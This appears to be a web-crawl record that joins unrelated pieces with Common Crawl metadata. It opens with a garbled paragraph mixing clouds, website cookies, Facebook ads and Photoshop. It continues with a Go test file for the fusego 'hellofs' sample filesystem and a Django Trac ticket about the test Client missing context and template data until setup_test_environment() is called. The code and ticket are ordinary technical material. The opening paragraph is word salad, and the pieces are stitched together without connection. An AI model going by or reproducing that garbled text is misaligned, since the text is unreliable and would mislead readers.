Types of clouds and animated it single app, like dust, that floating. Essential cookies to perform essential website functions, e.g via evaporation and transpiration the direction the wind passing. Maximum results from your Facebook ad campaigns wispy, strong winds can be moved around use more vehicles! Learn more, we ’ ll use Photoshop Touch cloud moving effect with large breaks the. Tops of Georgian Mountains, resemble breaking ocean waves in the Preferences screen Creative. | {
"url": "http://danielpeterson.se/chronic-fatigue-dsel/dc2b1b-cloud-moving-effect",
"source_domain": "danielpeterson.se",
"snapshot_id": "crawl=CC-MAIN-2021-31",
"warc_metadata": {
"Content-Length": "33157",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:7SILXHZTJIZ5PG43CHMCSS62XD3M7R2D",
"WARC-Concurrent-To": "<urn:uuid:be6f6d88-b162-492d-8b17-e1dc0b6aacfd>",
"WARC-Date": "2021-08-04T23:05:34Z",
"WARC-IP-Address": "93.90.145.102",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:US2HIB3A6HNKJZNTFL76B2TJKALXP7NQ",
"WARC-Record-ID": "<urn:uuid:cf2f43cb-758a-40ca-8867-8573fc2c5efb>",
"WARC-Target-URI": "http://danielpeterson.se/chronic-fatigue-dsel/dc2b1b-cloud-moving-effect",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:888a2b64-208d-4435-9578-08119b0c0446>"
},
"warc_info": "isPartOf: CC-MAIN-2021-31\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for July/August 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-216.ec2.internal\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0
],
"line_end_idx": [
20752
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 20752,
"ccnet_original_nlines": 0,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3637247681617737,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.011913450434803963,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.1609530746936798,
"rps_doc_frac_unique_words": 0.2637394666671753,
"rps_doc_mean_word_length": 4.8374528884887695,
"rps_doc_num_sentences": 254,
"rps_doc_symbol_to_word_ratio": 0.011913450434803963,
"rps_doc_unigram_entropy": 5.86883544921875,
"rps_doc_word_count": 3439,
"rps_doc_frac_chars_dupe_10grams": 0.12725414335727692,
"rps_doc_frac_chars_dupe_5grams": 0.3499639332294464,
"rps_doc_frac_chars_dupe_6grams": 0.2821591794490814,
"rps_doc_frac_chars_dupe_7grams": 0.24122385680675507,
"rps_doc_frac_chars_dupe_8grams": 0.18766529858112335,
"rps_doc_frac_chars_dupe_9grams": 0.16169752180576324,
"rps_doc_frac_chars_top_2gram": 0.00601105997338891,
"rps_doc_frac_chars_top_3gram": 0.00601105997338891,
"rps_doc_frac_chars_top_4gram": 0.00540994992479682,
"rps_doc_books_importance": -1557.9173583984375,
"rps_doc_books_importance_length_correction": -1557.9173583984375,
"rps_doc_openwebtext_importance": -976.6483154296875,
"rps_doc_openwebtext_importance_length_correction": -976.6483154296875,
"rps_doc_wikipedia_importance": -702.8068237304688,
"rps_doc_wikipedia_importance_length_correction": -702.8068237304688
},
"fasttext": {
"dclm": 0.1275586485862732,
"english": 0.920144259929657,
"fineweb_edu_approx": 2.2085938453674316,
"eai_general_math": 0.14913064241409302,
"eai_open_web_math": 0.18124228715896606,
"eai_web_code": 0.01752365007996559
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.0285",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "551.51",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Geology and Earth sciences",
"level_3": "Physical geology and Geodynamics"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "4",
"label": "Missing Images or Figures"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "10",
"label": "Knowledge Article"
},
"secondary": {
"code": "6",
"label": "Content Listing"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
5,681,987,054,269,734,000 | fusego/samples/hellofs/hello_fs_test.go
226 lines
5.5 KiB
Go
Raw Normal View History
// Copyright 2015 Google Inc. All Rights Reserved.
2015-03-04 00:27:42 +03:00
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
2015-02-27 08:31:04 +03:00
package hellofs_test
import (
2015-02-27 08:06:55 +03:00
"io"
"io/ioutil"
"os"
2015-02-27 06:09:53 +03:00
"path"
"syscall"
"testing"
2015-03-20 02:50:36 +03:00
"github.com/jacobsa/fuse/samples"
2015-03-02 05:59:32 +03:00
"github.com/jacobsa/fuse/samples/hellofs"
2015-02-27 06:44:03 +03:00
. "github.com/jacobsa/oglematchers"
. "github.com/jacobsa/ogletest"
)
func TestHelloFS(t *testing.T) { RunTests(t) }
////////////////////////////////////////////////////////////////////////
// Boilerplate
////////////////////////////////////////////////////////////////////////
type HelloFSTest struct {
2015-03-20 02:50:36 +03:00
samples.SampleTest
}
func init() { RegisterTestSuite(&HelloFSTest{}) }
func (t *HelloFSTest) SetUp(ti *TestInfo) {
2015-03-24 07:47:26 +03:00
var err error
t.Server, err = hellofs.NewHelloFS(&t.Clock)
AssertEq(nil, err)
t.SampleTest.SetUp(ti)
}
////////////////////////////////////////////////////////////////////////
// Test functions
////////////////////////////////////////////////////////////////////////
func (t *HelloFSTest) ReadDir_Root() {
2015-03-20 02:50:36 +03:00
entries, err := ioutil.ReadDir(t.Dir)
AssertEq(nil, err)
AssertEq(2, len(entries))
var fi os.FileInfo
// dir
fi = entries[0]
ExpectEq("dir", fi.Name())
ExpectEq(0, fi.Size())
ExpectEq(os.ModeDir|0555, fi.Mode())
2015-03-20 02:50:36 +03:00
ExpectEq(0, t.Clock.Now().Sub(fi.ModTime()), "ModTime: %v", fi.ModTime())
ExpectTrue(fi.IsDir())
// hello
fi = entries[1]
ExpectEq("hello", fi.Name())
ExpectEq(len("Hello, world!"), fi.Size())
ExpectEq(0444, fi.Mode())
2015-03-20 02:50:36 +03:00
ExpectEq(0, t.Clock.Now().Sub(fi.ModTime()), "ModTime: %v", fi.ModTime())
ExpectFalse(fi.IsDir())
}
func (t *HelloFSTest) ReadDir_Dir() {
2015-03-20 02:50:36 +03:00
entries, err := ioutil.ReadDir(path.Join(t.Dir, "dir"))
2015-02-27 06:09:53 +03:00
AssertEq(nil, err)
AssertEq(1, len(entries))
var fi os.FileInfo
// world
2015-02-27 06:43:05 +03:00
fi = entries[0]
2015-02-27 06:09:53 +03:00
ExpectEq("world", fi.Name())
ExpectEq(len("Hello, world!"), fi.Size())
ExpectEq(0444, fi.Mode())
2015-03-20 02:50:36 +03:00
ExpectEq(0, t.Clock.Now().Sub(fi.ModTime()), "ModTime: %v", fi.ModTime())
2015-02-27 06:09:53 +03:00
ExpectFalse(fi.IsDir())
}
func (t *HelloFSTest) ReadDir_NonExistent() {
2015-03-20 02:50:36 +03:00
_, err := ioutil.ReadDir(path.Join(t.Dir, "foobar"))
2015-02-27 06:44:03 +03:00
AssertNe(nil, err)
ExpectThat(err, Error(HasSubstr("no such file")))
}
2015-02-27 06:53:08 +03:00
func (t *HelloFSTest) Stat_Hello() {
2015-03-20 02:50:36 +03:00
fi, err := os.Stat(path.Join(t.Dir, "hello"))
2015-02-27 06:53:08 +03:00
AssertEq(nil, err)
ExpectEq("hello", fi.Name())
ExpectEq(len("Hello, world!"), fi.Size())
ExpectEq(0444, fi.Mode())
2015-03-20 02:50:36 +03:00
ExpectEq(0, t.Clock.Now().Sub(fi.ModTime()), "ModTime: %v", fi.ModTime())
2015-02-27 06:53:08 +03:00
ExpectFalse(fi.IsDir())
ExpectEq(1, fi.Sys().(*syscall.Stat_t).Nlink)
2015-02-27 06:53:08 +03:00
}
func (t *HelloFSTest) Stat_Dir() {
2015-03-20 02:50:36 +03:00
fi, err := os.Stat(path.Join(t.Dir, "dir"))
2015-02-27 06:54:39 +03:00
AssertEq(nil, err)
ExpectEq("dir", fi.Name())
ExpectEq(0, fi.Size())
ExpectEq(0555|os.ModeDir, fi.Mode())
2015-03-20 02:50:36 +03:00
ExpectEq(0, t.Clock.Now().Sub(fi.ModTime()), "ModTime: %v", fi.ModTime())
2015-02-27 06:54:39 +03:00
ExpectTrue(fi.IsDir())
ExpectEq(1, fi.Sys().(*syscall.Stat_t).Nlink)
}
func (t *HelloFSTest) Stat_World() {
2015-03-20 02:50:36 +03:00
fi, err := os.Stat(path.Join(t.Dir, "dir/world"))
2015-02-27 06:54:39 +03:00
AssertEq(nil, err)
ExpectEq("world", fi.Name())
ExpectEq(len("Hello, world!"), fi.Size())
ExpectEq(0444, fi.Mode())
2015-03-20 02:50:36 +03:00
ExpectEq(0, t.Clock.Now().Sub(fi.ModTime()), "ModTime: %v", fi.ModTime())
2015-02-27 06:54:39 +03:00
ExpectFalse(fi.IsDir())
ExpectEq(1, fi.Sys().(*syscall.Stat_t).Nlink)
}
func (t *HelloFSTest) Stat_NonExistent() {
2015-03-20 02:50:36 +03:00
_, err := os.Stat(path.Join(t.Dir, "foobar"))
2015-02-27 06:55:02 +03:00
AssertNe(nil, err)
ExpectThat(err, Error(HasSubstr("no such file")))
}
2015-02-27 06:56:57 +03:00
func (t *HelloFSTest) ReadFile_Hello() {
2015-03-20 02:50:36 +03:00
slice, err := ioutil.ReadFile(path.Join(t.Dir, "hello"))
2015-02-27 06:56:57 +03:00
AssertEq(nil, err)
ExpectEq("Hello, world!", string(slice))
}
func (t *HelloFSTest) ReadFile_Dir() {
2015-03-20 02:50:36 +03:00
_, err := ioutil.ReadFile(path.Join(t.Dir, "dir"))
2015-02-27 07:58:14 +03:00
AssertNe(nil, err)
ExpectThat(err, Error(HasSubstr("is a directory")))
2015-02-27 06:56:57 +03:00
}
func (t *HelloFSTest) ReadFile_World() {
2015-03-20 02:50:36 +03:00
slice, err := ioutil.ReadFile(path.Join(t.Dir, "dir/world"))
2015-02-27 07:57:32 +03:00
AssertEq(nil, err)
ExpectEq("Hello, world!", string(slice))
2015-02-27 06:56:57 +03:00
}
2015-02-27 08:06:55 +03:00
func (t *HelloFSTest) OpenAndRead() {
var buf []byte = make([]byte, 1024)
var n int
var off int64
var err error
2015-02-27 08:06:55 +03:00
// Open the file.
2015-03-20 02:50:36 +03:00
f, err := os.Open(path.Join(t.Dir, "hello"))
2015-02-27 08:06:55 +03:00
defer func() {
if f != nil {
ExpectEq(nil, f.Close())
}
}()
2015-02-27 06:56:57 +03:00
2015-02-27 08:06:55 +03:00
AssertEq(nil, err)
// Seeking shouldn't affect the random access reads below.
_, err = f.Seek(7, 0)
AssertEq(nil, err)
// Random access reads
n, err = f.ReadAt(buf[:2], 0)
AssertEq(nil, err)
ExpectEq(2, n)
ExpectEq("He", string(buf[:n]))
n, err = f.ReadAt(buf[:2], int64(len("Hel")))
AssertEq(nil, err)
ExpectEq(2, n)
ExpectEq("lo", string(buf[:n]))
n, err = f.ReadAt(buf[:3], int64(len("Hello, wo")))
AssertEq(nil, err)
ExpectEq(3, n)
ExpectEq("rld", string(buf[:n]))
// Read beyond end.
n, err = f.ReadAt(buf[:3], int64(len("Hello, world")))
AssertEq(io.EOF, err)
ExpectEq(1, n)
ExpectEq("!", string(buf[:n]))
// Seek then read the rest.
off, err = f.Seek(int64(len("Hel")), 0)
AssertEq(nil, err)
AssertEq(len("Hel"), off)
n, err = io.ReadFull(f, buf[:len("lo, world!")])
AssertEq(nil, err)
ExpectEq(len("lo, world!"), n)
ExpectEq("lo, world!", string(buf[:n]))
}
func (t *HelloFSTest) Open_NonExistent() {
2015-03-20 02:50:36 +03:00
_, err := os.Open(path.Join(t.Dir, "foobar"))
2015-02-27 08:07:47 +03:00
AssertNe(nil, err)
ExpectThat(err, Error(HasSubstr("no such file")))
} | {
"url": "https://git.yourcmc.ru/vitalif/fusego/blame/commit/304ce5a08ed18ec78a5029d7d933ce1ee0d1231f/samples/hellofs/hello_fs_test.go",
"source_domain": "git.yourcmc.ru",
"snapshot_id": "CC-MAIN-2023-50",
"warc_metadata": {
"Content-Length": "306504",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:3DD45HOQL7U43AWBRDUBWQRIEBFONZRJ",
"WARC-Concurrent-To": "<urn:uuid:86186a90-bd10-4324-81c1-2a097d833715>",
"WARC-Date": "2023-12-06T20:47:09Z",
"WARC-IP-Address": "195.209.40.11",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:CEKNVTZC7SHBSSDDQD6DW6OQ45KT4676",
"WARC-Record-ID": "<urn:uuid:19696839-512e-436f-8419-3f02d4d27c50>",
"WARC-Target-URI": "https://git.yourcmc.ru/vitalif/fusego/blame/commit/304ce5a08ed18ec78a5029d7d933ce1ee0d1231f/samples/hellofs/hello_fs_test.go",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:cdd45676-d405-4f08-9add-0be5b908f6c0>"
},
"warc_info": "isPartOf: CC-MAIN-2023-50\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for November/December 2023\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-169\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
40,
41,
51,
59,
62,
86,
87,
138,
165,
168,
235,
303,
346,
349,
395,
398,
469,
538,
614,
685,
719,
746,
767,
776,
803,
808,
820,
825,
852,
859,
869,
879,
906,
940,
967,
1009,
1036,
1072,
1104,
1106,
1153,
1226,
1241,
1314,
1340,
1367,
1386,
1388,
1438,
1482,
1509,
1523,
1568,
1587,
1610,
1612,
1685,
1703,
1776,
1815,
1842,
1880,
1899,
1925,
1944,
1951,
1967,
1994,
2017,
2054,
2081,
2155,
2178,
2187,
2203,
2232,
2274,
2300,
2327,
2401,
2425,
2427,
2465,
2492,
2548,
2575,
2594,
2620,
2639,
2648,
2675,
2691,
2718,
2747,
2789,
2815,
2842,
2916,
2943,
2967,
2969,
3015,
3042,
3095,
3122,
3141,
3191,
3193,
3220,
3257,
3284,
3330,
3357,
3376,
3405,
3447,
3473,
3500,
3574,
3601,
3625,
3671,
3698,
3700,
3735,
3762,
3806,
3833,
3852,
3879,
3902,
3939,
3966,
4040,
4067,
4090,
4136,
4138,
4175,
4202,
4252,
4279,
4298,
4327,
4369,
4395,
4422,
4496,
4523,
4547,
4593,
4595,
4638,
4665,
4711,
4738,
4757,
4807,
4809,
4836,
4877,
4904,
4961,
4988,
5007,
5048,
5050,
5089,
5116,
5167,
5194,
5213,
5265,
5292,
5294,
5335,
5362,
5423,
5450,
5469,
5510,
5537,
5539,
5566,
5604,
5640,
5650,
5664,
5678,
5705,
5723,
5750,
5795,
5822,
5837,
5851,
5876,
5878,
5882,
5909,
5936,
5955,
6014,
6036,
6055,
6078,
6108,
6127,
6142,
6174,
6220,
6239,
6254,
6286,
6338,
6357,
6372,
6405,
6425,
6480,
6502,
6517,
6548,
6576,
6616,
6635,
6661,
6710,
6729,
6760,
6800,
6802,
6845,
6872,
6918,
6945,
6964,
7014
],
"line_end_idx": [
40,
41,
51,
59,
62,
86,
87,
138,
165,
168,
235,
303,
346,
349,
395,
398,
469,
538,
614,
685,
719,
746,
767,
776,
803,
808,
820,
825,
852,
859,
869,
879,
906,
940,
967,
1009,
1036,
1072,
1104,
1106,
1153,
1226,
1241,
1314,
1340,
1367,
1386,
1388,
1438,
1482,
1509,
1523,
1568,
1587,
1610,
1612,
1685,
1703,
1776,
1815,
1842,
1880,
1899,
1925,
1944,
1951,
1967,
1994,
2017,
2054,
2081,
2155,
2178,
2187,
2203,
2232,
2274,
2300,
2327,
2401,
2425,
2427,
2465,
2492,
2548,
2575,
2594,
2620,
2639,
2648,
2675,
2691,
2718,
2747,
2789,
2815,
2842,
2916,
2943,
2967,
2969,
3015,
3042,
3095,
3122,
3141,
3191,
3193,
3220,
3257,
3284,
3330,
3357,
3376,
3405,
3447,
3473,
3500,
3574,
3601,
3625,
3671,
3698,
3700,
3735,
3762,
3806,
3833,
3852,
3879,
3902,
3939,
3966,
4040,
4067,
4090,
4136,
4138,
4175,
4202,
4252,
4279,
4298,
4327,
4369,
4395,
4422,
4496,
4523,
4547,
4593,
4595,
4638,
4665,
4711,
4738,
4757,
4807,
4809,
4836,
4877,
4904,
4961,
4988,
5007,
5048,
5050,
5089,
5116,
5167,
5194,
5213,
5265,
5292,
5294,
5335,
5362,
5423,
5450,
5469,
5510,
5537,
5539,
5566,
5604,
5640,
5650,
5664,
5678,
5705,
5723,
5750,
5795,
5822,
5837,
5851,
5876,
5878,
5882,
5909,
5936,
5955,
6014,
6036,
6055,
6078,
6108,
6127,
6142,
6174,
6220,
6239,
6254,
6286,
6338,
6357,
6372,
6405,
6425,
6480,
6502,
6517,
6548,
6576,
6616,
6635,
6661,
6710,
6729,
6760,
6800,
6802,
6845,
6872,
6918,
6945,
6964,
7014,
7015
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 7015,
"ccnet_original_nlines": 238,
"rps_doc_curly_bracket": 0.00541695998981595,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.0571923702955246,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.005632579792290926,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.6720104217529297,
"rps_doc_frac_unique_words": 0.36335402727127075,
"rps_doc_mean_word_length": 7.09782600402832,
"rps_doc_num_sentences": 154,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.697462558746338,
"rps_doc_word_count": 644,
"rps_doc_frac_chars_dupe_10grams": 0.13979436457157135,
"rps_doc_frac_chars_dupe_5grams": 0.3539706766605377,
"rps_doc_frac_chars_dupe_6grams": 0.3071537911891937,
"rps_doc_frac_chars_dupe_7grams": 0.1949245184659958,
"rps_doc_frac_chars_dupe_8grams": 0.18289214372634888,
"rps_doc_frac_chars_dupe_9grams": 0.15532706677913666,
"rps_doc_frac_chars_top_2gram": 0.06125573813915253,
"rps_doc_frac_chars_top_3gram": 0.0787573829293251,
"rps_doc_frac_chars_top_4gram": 0.03150295093655586,
"rps_doc_books_importance": -967.7340087890625,
"rps_doc_books_importance_length_correction": -967.7340087890625,
"rps_doc_openwebtext_importance": -698.3946533203125,
"rps_doc_openwebtext_importance_length_correction": -698.3946533203125,
"rps_doc_wikipedia_importance": -489.7590026855469,
"rps_doc_wikipedia_importance_length_correction": -489.7590026855469
},
"fasttext": {
"dclm": 0.8836289644241333,
"english": 0.189049631357193,
"fineweb_edu_approx": 2.3996095657348633,
"eai_general_math": 0.11518841981887817,
"eai_open_web_math": 0.035827819257974625,
"eai_web_code": 0.35066986083984375
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.678",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "4",
"label": "Graduate/Expert Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
281,378,151,077,946,100 | Django: Ticket #3051: django.test.client.Client() does not set HttpResponse context and template properly https://code.djangoproject.com/ticket/3051 <p> Using a view function that relies upon render_to_response(template, context), I run a doctest over the view function utilizing the django.test.client.Client class, however when I get my response object back, the context and template attributes are None. </p> <p> I thought it might be specific to the doctest, however running the test by hand in a python shell yields the same result. </p> <p> My view: </p> <pre class="wiki"># URL re is (r'^(?P<mp_slug>\w+)/(?P<product_class_slug_string>[^_][a-zA-Z0-9_/]+)/_(?P<product_slug>\w+)/$', 'product_detail'), def product_detail(request, mp_slug, product_class_slug_string, product_slug): manipulator = marketplace.ShoppingCartItem.AddManipulator() mp = get_object_or_404(marketplace.Marketplace, slug__exact=mp_slug) product = get_object_or_404(marketplace.Product, slug__exact=product_slug, product_class__marketplace__id__exact=mp.id) product_class_slug_list = product_class_slug_string.split('/') assert product.product_class.marketplace == mp assert product_class_slug_list == map(lambda pc: pc.slug, product.product_class.get_ancestry()) product_class = product.product_class data_copy = {} if request.method == 'POST': data_copy = request.POST.copy() shopping_cart = marketplace.ShoppingCart.objects.get_cart(mp, request.session) errors = manipulator.get_validation_errors(data_copy) if not errors: manipulator.do_html2python(data_copy) shopping_cart.add_item_to_cart(product, data_copy['quantity'], data_copy['size_option']) return HttpResponseRedirect(shopping_cart.get_absolute_url()) else: errors = {} form = forms.FormWrapper(manipulator, data_copy, errors) return render_to_response('product_detail.djt', {'form': form, 'marketplace': mp, 'product': product, 'product_class': product_class, }) >>> from fsforg.marketplace import models as marketplace >>> from django.test.client import Client >>> mp = marketplace.Marketplace(name='Test MP', slug='test_mp') >>> mp.save() >>> stuff = marketplace.ProductClass(name='Stuff', slug='stuff', parent=None, marketplace=mp) >>> stuff.save() >>> thing = marketplace.Product(name='Thing', slug='thing', short_desc='Thing', long_desc='Thing', ... unit_price=123.45, photo_url='http://www.gnu.org/graphics/gnu-head-banner.png', ... product_class=stuff, weight=0.0) >>> >>> thing.save() >>> thing.get_absolute_url() '/marketplaces/test_mp/stuff/_thing/' >>> c = Client() >>> response = c.get(thing.get_absolute_url()) >>> response.status_code 200 >>> response.context >>> response.template </pre> en-us Django https://www.djangoproject.com/s/img/site/hdr_logo.gif https://code.djangoproject.com/ticket/3051 Trac 1.0 anonymous Tue, 21 Nov 2006 21:28:56 GMT cc set https://code.djangoproject.com/ticket/3051#comment:1 https://code.djangoproject.com/ticket/3051#comment:1 <ul> <li><strong>cc</strong> <em>django@…</em> added </li> </ul> <p> Sorry -- somehow failed to put my email address.... </p> Ticket russellm Wed, 22 Nov 2006 00:45:06 GMT status changed; resolution set https://code.djangoproject.com/ticket/3051#comment:2 https://code.djangoproject.com/ticket/3051#comment:2 <ul> <li><strong>status</strong> changed from <em>new</em> to <em>closed</em> </li> <li><strong>resolution</strong> set to <em>invalid</em> </li> </ul> <p> The test instrumentation that gathers template/context details is only installed if (1) you run your doctests through manage.py, or (2) you run django.test.utils.setup_test_environment(). Your sample python shell doesn't call the setup method. If you aren't getting the template/context details in a doctest, I'm guessing that you aren't doing (1), either. </p> <p> I'm marking this as invalid; if you still get this problem when you use manage.py and/or call setup_test_environment(), feel free to reopen the ticket. </p> Ticket adamtwiss Tue, 21 Apr 2009 10:09:52 GMT status, needs_docs changed; resolution deleted https://code.djangoproject.com/ticket/3051#comment:3 https://code.djangoproject.com/ticket/3051#comment:3 <ul> <li><strong>status</strong> changed from <em>closed</em> to <em>reopened</em> </li> <li><strong>needs_docs</strong> set </li> <li><strong>resolution</strong> <em>invalid</em> deleted </li> </ul> <p> I've just come across this same problem, and spent an hour or so scratching my head. .As russellm says it is easy to fix by calling django.test.utils.setup_test_environment() first. However, this is not really mentioned in the documentation at all. The function is mentioned at: </p> <blockquote> <p> <a class="ext-link" href="http://docs.findjango.com/topics/testing.html"><span class="icon"></span>http://docs.findjango.com/topics/testing.html</a> </p> </blockquote> <p> But it isn't in anyway clear that you have to call it for certain things to work, and none of the example code calls it. </p> <p> Surely -at the very least, the documentation/examples need to make this clear. </p> Ticket Alex Thu, 06 Aug 2009 21:30:36 GMT component, stage changed https://code.djangoproject.com/ticket/3051#comment:4 https://code.djangoproject.com/ticket/3051#comment:4 <ul> <li><strong>component</strong> changed from <em>Testing framework</em> to <em>Documentation</em> </li> <li><strong>stage</strong> changed from <em>Unreviewed</em> to <em>Accepted</em> </li> </ul> Ticket Rupe Sat, 01 May 2010 17:11:56 GMT attachment set https://code.djangoproject.com/ticket/3051 https://code.djangoproject.com/ticket/3051 <ul> <li><strong>attachment</strong> set to <em>testing_skipping_manage_py.diff</em> </li> </ul> <p> Added a note about setup_test_environment() </p> Ticket Rupe Sat, 01 May 2010 17:12:25 GMT needs_docs changed; milestone set https://code.djangoproject.com/ticket/3051#comment:5 https://code.djangoproject.com/ticket/3051#comment:5 <ul> <li><strong>needs_docs</strong> unset </li> <li><strong>milestone</strong> set to <em>1.2</em> </li> </ul> Ticket Rupe Sat, 01 May 2010 17:14:21 GMT has_patch changed https://code.djangoproject.com/ticket/3051#comment:6 https://code.djangoproject.com/ticket/3051#comment:6 <ul> <li><strong>has_patch</strong> set </li> </ul> Ticket ramiro Sat, 08 May 2010 14:33:04 GMT stage changed https://code.djangoproject.com/ticket/3051#comment:7 https://code.djangoproject.com/ticket/3051#comment:7 <ul> <li><strong>stage</strong> changed from <em>Accepted</em> to <em>Ready for checkin</em> </li> </ul> <p> Patch by Rupe also applies to 1.1.X branch with -37 line offset level 2 fuzz. </p> Ticket brosner Sat, 08 May 2010 20:25:11 GMT needs_better_patch, stage changed https://code.djangoproject.com/ticket/3051#comment:8 https://code.djangoproject.com/ticket/3051#comment:8 <ul> <li><strong>needs_better_patch</strong> set </li> <li><strong>stage</strong> changed from <em>Ready for checkin</em> to <em>Accepted</em> </li> </ul> <p> I don't feel like this patch is ready. While the section within testing.txt is correct it lacks much context. This patch needs to do a better job of explaining where <tt>setup_test_environment</tt> is required. Provide reference links for <tt>setup_test_environment</tt> as well. </p> Ticket russellm Wed, 12 May 2010 13:32:08 GMT milestone deleted https://code.djangoproject.com/ticket/3051#comment:9 https://code.djangoproject.com/ticket/3051#comment:9 <ul> <li><strong>milestone</strong> <em>1.2</em> deleted </li> </ul> <p> Deferring due to the absence of a trunk-ready patch. </p> Ticket danielr Tue, 17 Aug 2010 17:04:07 GMT attachment set https://code.djangoproject.com/ticket/3051 https://code.djangoproject.com/ticket/3051 <ul> <li><strong>attachment</strong> set to <em>3051_testing.diff</em> </li> </ul> <p> Better patch with more explanation and links to reference. </p> Ticket danielr Tue, 17 Aug 2010 17:05:01 GMT needs_better_patch changed https://code.djangoproject.com/ticket/3051#comment:10 https://code.djangoproject.com/ticket/3051#comment:10 <ul> <li><strong>needs_better_patch</strong> unset </li> </ul> <p> Patch updated with more explanation and links. </p> Ticket lrekucki Sat, 21 Aug 2010 23:09:49 GMT stage changed https://code.djangoproject.com/ticket/3051#comment:11 https://code.djangoproject.com/ticket/3051#comment:11 <ul> <li><strong>stage</strong> changed from <em>Accepted</em> to <em>Ready for checkin</em> </li> </ul> <p> Patch looks good and applies cleanly. </p> Ticket russellm Mon, 23 Aug 2010 07:43:51 GMT status changed; resolution set https://code.djangoproject.com/ticket/3051#comment:12 https://code.djangoproject.com/ticket/3051#comment:12 <ul> <li><strong>status</strong> changed from <em>reopened</em> to <em>closed</em> </li> <li><strong>resolution</strong> set to <em>fixed</em> </li> 